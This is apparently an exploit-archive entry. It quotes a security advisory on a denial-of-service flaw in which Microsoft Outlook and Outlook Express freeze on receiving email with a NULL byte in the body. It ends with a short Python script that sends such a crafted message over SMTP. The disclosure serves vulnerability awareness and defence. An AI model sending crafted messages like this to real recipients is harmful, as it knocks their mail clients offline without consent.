source: https://www.securityfocus.com/bid/10144/info Microsoft Outlook and Outlook Express have been reported prone to a remote denial of service vulnerability. The issue is reported to present itself when a NULL is encountered in the message body of an e-mail. It is reported that when the vulnerable software encounters a malicious e-mail as described above, the GUI will cease to respond. A remote attacker may potentially exploit this condition to deny service to Microsoft Outlook and Outlook Express users. import smtplib from_address = "nobody@example.com" to_address = "nobody@example.com" message = "Before\r\n\000\r\nAfter" smtp = smtplib.SMTP("localhost") smtp.set_debuglevel(1) smtp.sendmail(from_address, [to_address], message) smtp.quit()